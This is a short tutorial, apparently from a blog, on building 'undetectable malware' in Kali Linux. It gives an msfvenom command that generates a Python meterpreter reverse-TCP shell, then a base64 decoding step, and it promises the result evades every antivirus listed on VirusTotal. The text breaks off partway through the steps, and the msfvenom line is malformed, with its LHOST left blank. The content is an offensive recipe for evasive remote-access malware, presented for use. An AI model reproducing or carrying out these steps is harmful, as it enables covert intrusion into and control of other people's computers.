Build undetectable malware in 10 minutes with Kali Linux

AV companies are in a daily battle with cybercriminals and hackers, these threat actors will try each possible method to get to their goal. In this tutorial, I am going to teach you how it is possible to create a meterpreter VNC shell which will bypass all the antivirus companies that are listed on VirusTotal.com.

To be able to participate in this tutorial, you will have to have installed:

  • Kali Linux

Get started

Start up your Kali Linux operating system and update it to the latest version by using the commands ‘sudo apt-get update and sudo apt-get upgrade’. Now that you have updated your Kali Linux environment, we are going to create a folder on the desktop titled malware_cwz.

You can do this by performing the following command in your terminal desktop:

mkdir malware_cwz

Once the directory has been crafted, navigate into it:

cd malware_cwz

Now the fun starts, we are going to craft the malware by using meterpreter:

msfvenom -p python/meterpreter/reverse_tcp LHOST = LPORT= 1337 R> encoded.py

Next we decode the encoded shell:

Open ‘encoded.py’ and copy the value that you can find within the first (‘ till the next ‘).

The values will have to look like random characters.

echo RANDOMVALUE | base64 --decode >> decoded.py
